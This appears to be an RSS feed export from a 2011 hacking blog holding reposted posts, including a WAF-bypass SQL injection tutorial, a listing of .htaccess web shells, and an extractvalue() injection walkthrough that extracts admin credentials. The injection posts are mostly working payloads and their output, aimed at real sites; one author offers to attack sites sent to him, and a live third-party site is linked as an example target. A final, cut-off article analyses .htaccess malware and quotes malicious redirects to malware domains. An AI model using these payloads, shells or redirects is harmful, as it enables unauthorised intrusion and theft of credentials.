Simplifies security testing for non-security professionals by building scanning intelligence directly into the application<br />
Features over 40 out-of-the-box compliance reports including PCI Data Security Standards, ISO 17799, ISO 27001, Basel II, SB 1386 and PABP (Payment Application Best Practices)<br />
Support for next generation Web applications including the ability to scan complex Java and Adobe Flash-based sights for both traditional Web vulnerabilities as well as technology specific threats such as Cross-site Flashing threats<br />
Enhanced support for Web Services with the ability to interact with Mega Script, Encoded URLs, and Web Portals utilizing widget-based pages<br />
Simplified scan results through the new Results Expert wizard, further simplifying the process of interpreting scan results through scan-specific descriptions and straight forward explanations of each issue<br />
Other Enhancements including IPv6 support, expanded language support, new scan templates, and performance improvements</p>
<p>Download a trial <a href="http://www.ibm.com/developerworks/downloads/r/appscan/?S_CMP=rnav" target="_blank">here </a>(requires a site account) | Website <a href="http://www-01.ibm.com/software/awdtools/appscan/" target="_blank">here</a></p>
<p>Well this is my top 11 list of web application penetration testing tools. It has 11 items but the last one is a bit expensive so thats why ten (and SEO reasons <img src="http://www.lo0.ro/wp-includes/images/smilies/icon_smile.gif" alt=":)" /> ) )</p>
<p>If i forgot one please do comment.</p>
<p>Thanks</p>
<p>Source : <a href="http://www.lo0.ro/2011/top-10-web-application-penetration-testing-tools-actually-11/">http://www.lo0.ro/2011/top-10-web-application-penetration-testing-tools-actually-11/</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/569/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/569/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/569/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=569&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/07/30/top-10-web-application-penestration-testing-tool-actually-11/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>

		<media:content url="http://www.lo0.ro/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">:)</media:title>
		</media:content>
	</item>
		<item>
		<title>WAF Bypass: SQL injection(Forbidden or not?)</title>
		<link>http://ubuntuonline.wordpress.com/2011/07/18/waf-bypass-sql-injectionforbidden-or-not/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/07/18/waf-bypass-sql-injectionforbidden-or-not/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 07:23:45 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Trick]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=562</guid>
		<description><![CDATA[WAF BYPASS SQL INJECTION This is such a wide Topic, but today were going to examine WAF bypas and SQL injection What is a WAF? A WAF is a Web Application Firewall used to filter certain malicious requests and/or keywords. Is a WAF a safe way to protect my Website? Well, thats a tough question. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=562&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>WAF BYPASS SQL INJECTION</strong><br />
This is such a wide Topic, but today were going to examine WAF bypas and SQL injection What is a WAF? A WAF is a Web Application Firewall used to filter certain malicious requests and/or keywords. Is a WAF a safe way to protect my Website? Well, thats a tough question. A WAF alone will not protect your website if your code is vulnerable, but a WAF and secure coding will. A WAF should be used as a tool in your tool shed, but you should never count on a WAF to keep attackers out because most, if not all WAF&#8217;s can be bypassed with the time and<br />
brains.Today,we will take a look into how exactly to do this<br />
<span id="more-562"></span><br />
<strong>1)Comments:</strong><br />
SQL comments are a blessing to us SQL injectors. They allow us to bypass alot of the restrictions of Web application firewalls and to<br />
kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in<br />
SQL :<br />
Code</p>
<blockquote><p>//, &#8212; , /**/, #, &#8211;+, &#8212; -, ;%00</p></blockquote>
<p><strong>2)Case Changing</strong>: Some WAF&#8217;s will filter only lowercase attacks As we can see we can easily evade this by case changing:</p>
<p>Possible Regex filter:<br />
Code</p>
<blockquote><p>/union\sselect/g</p></blockquote>
<p>Code</p>
<blockquote><p>id=1+UnIoN/**/SeLeCT, or with XSS -&gt; alert(1)</p></blockquote>
<p><strong>3)Inline Comments</strong>: Some WAF&#8217;s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:<br />
Code</p>
<blockquote><p>id=1/*!UnIoN*/SeLeCT</p></blockquote>
<p>Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.</p>
<p>Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, lets pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.<br />
For this we would:<br />
Code</p>
<blockquote><p>id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()&#8211; -</p></blockquote>
<p>The above code would bypass the filter. Notice we can use &#8220;like&#8221; instead of &#8220;=&#8221;<br />
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:<br />
Code</p>
<blockquote><p>id=1+UnIoN/*&amp;a=*/SeLeCT/*&amp;a=*/1,2,3,database()&#8211; -</p></blockquote>
<p>The above code should bypass the Union+select filters even where common inline comments didn&#8217;t work itself</p>
<p><strong>4)Buffer Overflow:/Unexpected input:</strong></p>
<p>Alot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it&#8217;s job correctly, but when given a large amount of Data allows the malicious request and response.</p>
<blockquote><p>id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A&#8217;s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26<br />
,27,28,29,30,31,32,33,34,35,36&#8211;+</p></blockquote>
<p>This bypass above works. I myself just used this against a Web site recently.</p>
<p><strong>5)Replaced keywords(preg_replace and/or WAF&#8217;s with the same action):</strong> Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We could bypass that filter like so:</p>
<p>Code</p>
<blockquote><p>id=1+UNIunionON+SeLselectECT+1,2,3&#8211;</p></blockquote>
<p>As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:</p>
<blockquote><p>UNION+SELECT+1,2,3&#8211;</p></blockquote>
<p><strong>6)Charachter encoding:</strong><br />
Most WAF&#8217;s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.</p>
<p>Examples of double encoding:</p>
<blockquote><p>id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users&#8211;+</p></blockquote>
<p>Some examples of double encoding are:</p>
<p>Single Quote &#8216; %u0027<br />
%u02b9<br />
%u02bc<br />
%u02c8<br />
%u2032<br />
%uff07<br />
%c0%27<br />
%c0%a7<br />
%e0%80%a7<br />
______________________________<br />
White Space: %u0020<br />
%uff00<br />
%c0%20<br />
%c0%a0<br />
%e0%80%a0<br />
_______________________________<br />
( %u0028<br />
%uff08<br />
%c0%28<br />
%c0%a8<br />
%e0%80%a8<br />
_____________________________<br />
) %u0029<br />
%uff09<br />
%c0%29<br />
%c0%a9<br />
%e0%80%a9<br />
______________________________</p>
<p><strong>7)Putting it all together:</strong> After bypassing a few WAF&#8217;s the task gets easier and easier, but here are some ways to find out how to bypass &#8220;your&#8221; targetted WAF:</p>
<p><strong>7a)Breaking the SQL statement:</strong> To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. For instance, if union+select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa</p>
<p><strong>7b)Verbose Errors:</strong> When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were were injecting the broken syntax(Removed union to stop Forbidden errors):</p>
<blockquote><p>id=1+Select+1,2,3&#8211;</p></blockquote>
<p>And the error was something like:</p>
<blockquote><p>Error at line 1 near \&#8221; \&#8221;+1,2,3&#8211;</p></blockquote>
<p>We could gather that maybe the Word Select is being filtered out and replaced with white space. We could confirm this by injection something like:</p>
<blockquote><p>sel%0bect+1,2,3</p></blockquote>
<p>From there we would see if we can see a Select error. If we did a few more checks will give us a the answer we need to bypass this WAF. This is just one of many ways to break down the SQL syntax. You may have to keep breaking it, while bypassing different parts.</p>
<ol>
<li><strong>8)Advanced Bypassing Techniques:</strong> As stated earlier once you have bypassed a few WAF&#8217;s it gets easier and easier and more and more FUN:P When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. These characters can be: [;:{}()*&amp;$/|&lt;&gt;?"'] We can use these characters to possibly craft a working SQL exploit. For instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. Union+select was also</li>
</ol>
<p>properly filtered to produce a Forbidden error. In this instance I was able to use the replaced * to craft my exploit like so:</p>
<blockquote><p>id=1+uni*on+sel*ect+1,2,3&#8211;+</p></blockquote>
<p>When the * were filtered out the union+select fell right into place. Now, UNunionION+SELselectECT wasn&#8217;t working because union and select were not being replaced only * was. This is a common WAF bypass. Find the replaceable character and you find the exploit:)</p>
<p>Some other bypasses:<br />
Code</p>
<blockquote><p>id=1+(UnIoN)+(SelECT)+<br />
id=1+(UnIoN+SeLeCT)+<br />
id=1+(UnI)(oN)+(SeL)(EcT)<br />
id=1+&#8217;UnI&#8221;On&#8217;+'SeL&#8221;ECT&#8217; &lt;-MySQL only<br />
id=1+&#8217;UnI&#8217;||&#8217;on&#8217;+SeLeCT&#8217; &lt;-MSSQL only</p></blockquote>
<p>As of MySQL 4.0 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter /**/ out to whitespace it will work no matter what the version.</p>
<p>If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit!!!!!!!!!!!!!!! I know this isn&#8217;t an exhaustive filter bypass tutorial, but using the above methods(and your brain) will help you bypass most WAF&#8217;s today.</p>
<p>Enjoy!!</p>
<p>sources:<br />
Web Application Hackers Handbook<br />
SQL injections: Attack and Defense.<br />
Source : http://securityoverride.com/articles.php?article_id=95&amp;article=WAF_Bypass:_SQL_injection%28Forbidden_or_not?%29</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/562/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/562/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/562/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=562&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/07/18/waf-bypass-sql-injectionforbidden-or-not/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>
	</item>
		<item>
		<title>HTSHELLS &#8211; Self contained web shells and other attacks via .htaccess files.</title>
		<link>http://ubuntuonline.wordpress.com/2011/06/20/htshells-self-contained-web-shells-and-other-attacks-via-htaccess-files/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/06/20/htshells-self-contained-web-shells-and-other-attacks-via-htaccess-files/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 03:43:07 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Trick]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=556</guid>
		<description><![CDATA[HTSHELLS &#8211; Self contained web shells and other attacks via .htaccess files. Attacks are named in the following fashion, module.attack.htaccess. Pick the one you need and copy it to a new file named .htaccess, check the file to see if it needs editing before you upload it. Web shells executes commands from the query parameter [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=556&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>HTSHELLS &#8211; Self contained web shells and other attacks via .htaccess files.</p>
<p>Attacks are named in the following fashion, module.attack.htaccess.<br />
Pick the one you need and copy it to a new file named .htaccess, check the file to see if it needs editing before you upload it.<br />
Web shells executes commands from the query parameter c, unless the file states otherwise.</p>
<p><span id="more-556"></span></p>
<pre>- htaccess.php
  PHP based web shell access via <a href="http://domain/path/.htaccess?c=command">http://domain/path/.htaccess?c=command</a></pre>
<p>- htaccess.server-info<br />
Server info binding for Apache</p>
<p>- htaccess.server-status<br />
Server status binding for Apache</p>
<p>- mod_auth_remote.phish.htaccess *untested*<br />
Forward basic auth credentials to server of your choice</p>
<p>- mod_caucho.info.htaccess *untested*<br />
Server status binding for the mod_caucho Resin java server module</p>
<p>- mod_cgi.shell.windows.htaccess *untested*<br />
Gives shell through php.exe via apache cgi configuration directives</p>
<p>- mod_include.shell.htaccess<br />
Server Side Include based web shell, access via <a href="http://domain/path/.htaccess?c=command">http://domain/path/.htaccess?c=command</a></p>
<p>- mod_ldap.info.htaccess *untested*<br />
Server status binding for the mod_ldap server module</p>
<p>- mod_sendmail.rce.htaccess *untested*<br />
Executes commands configured in the .htaccess file by specifying path and arguments to &#8220;sendmail&#8221; binary</p>
<p>Link : <a href="https://github.com/wireghoul/htshells">https://github.com/wireghoul/htshells</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/556/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/556/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/556/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/556/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/556/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/556/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/556/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/556/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/556/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/556/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/556/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/556/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/556/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/556/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=556&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/06/20/htshells-self-contained-web-shells-and-other-attacks-via-htaccess-files/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>
	</item>
		<item>
		<title>SQLi using extractvalue()</title>
		<link>http://ubuntuonline.wordpress.com/2011/06/14/sqli-using-extractvalue/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/06/14/sqli-using-extractvalue/#comments</comments>
		<pubDate>Tue, 14 Jun 2011 08:08:42 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Trick]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=551</guid>
		<description><![CDATA[Introduction. In this tutorial i will be teaching you SQL injection using the xml function extractvalue() to extract data from mySQL versions 5.1 and above. This tutorial assumes that you have an understanding of the structure of mySQL and the basic functions and operators needed for SQL injection so i wont be covering them. Advantages [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=551&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h2><span class="Apple-style-span" style="color:#ff0000;font-size:13px;font-weight:normal;">Introduction.</span></h2>
<div>
<div id="post_message_14749">In this tutorial i will be teaching you SQL injection using the xml function extractvalue() to extract data from mySQL versions 5.1 and above. This tutorial assumes that you have an understanding of the structure of mySQL and the basic functions and operators needed for SQL injection so i wont be covering them.<br />
<span id="more-551"></span><br />
<span style="color:#ff0000;">Advantages of this injection type</span>- No need for union.</p>
<p>- Can find version(), user(), database() without using select.</p>
<p>- Good error based injection to use when getting the error &#8220;The used select statements have a diffrent number of columns&#8221; with union.</p>
<p>- More clearer than the generic Double Query.</p>
<p><span style="color:#ff0000;">[size=large]Disavantages[/size]</span></p>
<p>- extractvalue() isnt supported on mySQL versions below 5.1</p>
<p><span style="color:#ff0000;">The tutorial.</span></p>
<p><span style="text-decoration:underline;"><strong>Grabbing the targets mySQL server data</strong></span></p>
<p>So you have found a website and have confirmed that an SQL injection exist by adding a single quote after the parameter and receiving a mySQL error, now we can extract the version, user, database etc by using this injection:</p>
<div>
<div>Code:</div>
<blockquote>
<pre>www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,version(),0x3a,user()))--</pre>
</blockquote>
</div>
<p>Result:</p>
<div>
<div>Code:</div>
<blockquote>
<pre>'Xpath syntax error: 5.5.9:user@localhost'</pre>
</blockquote>
</div>
<p>So we have received the version() and user() by error message so we know its vulnerable so we will move on to gaining the admins login details.</p>
<p><span style="text-decoration:underline;"><strong>Finding the database tables</strong></span></p>
<div>
<div>Code:</div>
<blockquote>
<pre>www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3c,table_name) from information_schema.tables limit 85,1)))--</pre>
</blockquote>
</div>
<p>Result:</p>
<div>
<div>Code:</div>
<blockquote>
<pre>'Xpath syntax error: &lt;address'</pre>
</blockquote>
</div>
<p>So now we have the first table in the database &#8216;address&#8217; by using LIMIT to skip all the information_schema tables.</p>
<p>Now we need to go through the tables using &#8216;limit&#8217; untill we find a table named admin, user, tbl_admin, users or similar</p>
<div>
<div>Code:</div>
<blockquote>
<pre>www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3c,table_name) from information_schema.tables limit 160,1)))--</pre>
</blockquote>
</div>
<p>Result:</p>
<div>
<div>Code:</div>
<blockquote>
<pre>'Xpath syntax error: :users'</pre>
</blockquote>
</div>
<p>So we have found a table named &#8216;users&#8217; which will most likely hold the columns which contain the usernames and passwords.</p>
<p>Now we move onto finding the column names.</p>
<p>protip: Start at limit 75,1 to skip the database schema tables.</p>
<p><span style="text-decoration:underline;"><strong>Finding the database columns</strong></span></p>
<p>So now that we have selected the table we want we now need to find the columns containing the login data, look for username, password, user, pass or similar.</p>
<div>
<div>Code:</div>
<blockquote>
<pre>www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 1050,1)))--</pre>
</blockquote>
</div>
<p>Result:</p>
<div>
<div>Code:</div>
<blockquote>
<pre>'Xpath syntax error: :username'</pre>
</blockquote>
</div>
<p>So on the 1051st column we found the column named &#8216;username&#8217;, now we need to look for the column containing the password.</p>
<div>
<div>Code:</div>
<blockquote>
<pre>www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 1150,1)))--</pre>
</blockquote>
</div>
<p>Result:</p>
<div>
<div>Code:</div>
<blockquote>
<pre>'Xpath syntax error: :password'</pre>
</blockquote>
</div>
<p>So on the 1151st column in the database we found the column named &#8216;password&#8217;. Now we move onto the final step.</p>
<p>Protip: Start at limit 970,1 to skip all the Database schema columns.</p>
<p><span style="text-decoration:underline;"><strong>Extracting data &#8211; the final step</strong></span></p>
<p>All we do now is join the columns together from the users table like so.</p>
<div>
<div>Code:</div>
<blockquote>
<pre>www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,username,0x3a,password) from users)))--</pre>
</blockquote>
</div>
<p>Result:</p>
<div>
<div>Code:</div>
<blockquote>
<pre>'Xpath syntax error: :Admin:password1'</pre>
</blockquote>
</div>
<p>Whoila! you now have the admin login details in username:password format.</p>
<p>You can find a good example of when to use this injection <a href="http://www.sientries.co.uk/event.php?event_id=460" target="_blank">HERE</a></p>
<p>Your can also incorporate a sub query e.g where table_schema=database() to choose which DB you want to take data from.</p>
<p>Hope you like this tutorial, please take time to leave your feedback.</p>
<p>source : <a href="http://www.glitcheaven.com/showthread.php?t=4136">http://www.glitcheaven.com/showthread.php?t=4136</a></p>
</div>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/551/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/551/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/551/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/551/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/551/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/551/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/551/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/551/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/551/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/551/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/551/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/551/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/551/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/551/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=551&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/06/14/sqli-using-extractvalue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>
	</item>
		<item>
		<title>Understanding .htaccess attacks – Part 1</title>
		<link>http://ubuntuonline.wordpress.com/2011/06/10/understanding-htaccess-attacks-%e2%80%93-part-1/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/06/10/understanding-htaccess-attacks-%e2%80%93-part-1/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 07:35:58 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Trick]]></category>
		<category><![CDATA[attacks]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=548</guid>
		<description><![CDATA[Attackers have been using the .htaccess file for a while. They use this file to hide malware, to redirect search engines to their own sites (think blackhat SEO), and for many other purposes (hide backdoors, inject content, to modify the php.ini values, etc). Why do they use the .htaccess file? For multiple reasons. First, the .htaccess is a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=548&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Attackers have been using the .htaccess file for a while. They use this file to hide <a href="http://blog.sucuri.net/2010/12/malware-update-publifacil-org-htaccess-changes-and-pe-php.html">malware</a>, to <a href="http://blog.sucuri.net/2010/04/conditional-redirects-or-the-htaccess-malware.html">redirect</a> search engines to their own sites (think blackhat SEO), and for many other purposes (hide backdoors, inject content, to modify the php.ini values, etc).<span id="more-548"></span></p>
<p>Why do they use the .htaccess file? For multiple reasons. First, the .htaccess is a hidden file (starting with a “.”), so some site owners might not find them in their FTP clients. Secondly, it is a powerful file that allows you to make multiple changes to the web server and PHP behavior. This makes a .htaccess the attack hard to find and to clean up.</p>
<h3>1- Redirecting users coming from search engines to malware</h3>
<p>This is the most simple type of .htaccess attack, and the one we see more often. This is what gets added to the .htaccess file of a hacked site:</p>
<p>&nbsp;</p>
<blockquote><p>RewriteEngine On<br />
RewriteCond %{HTTP_REFERER} .*google.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]<br />
..<br />
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*flickr.*<br />
RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]</p></blockquote>
<p>As you can see, it will check the referrer from anyone visiting the site and if the user came from a Google search (or yahoo or bing or any search engine), it will redirect the user to a page with malware (in this example http://villusoftreit.ru/in.cgi?3). Note that if you type the site directly in the address bar of your browser, nothing will happen. Why? It makes harder for the owner of the site to detect the attack, since they will probably type the site name, and not search for it on Google.</p>
<p>Below is another example of the same attack, but this time redirecting to http://globalpoweringgatheringon.com/in.php?n=30 (one of those Hilary kneber domains). <em>Note that this time, they’v added hundreds of white spaces before the “RewriteCond” to make it harder to see in a text editor (We removed below to make easier to read in the post).</em></p>
<blockquote><p># BEGIN WordPress<br />
RewriteEngine On<br />
RewriteOptions inherit<br />
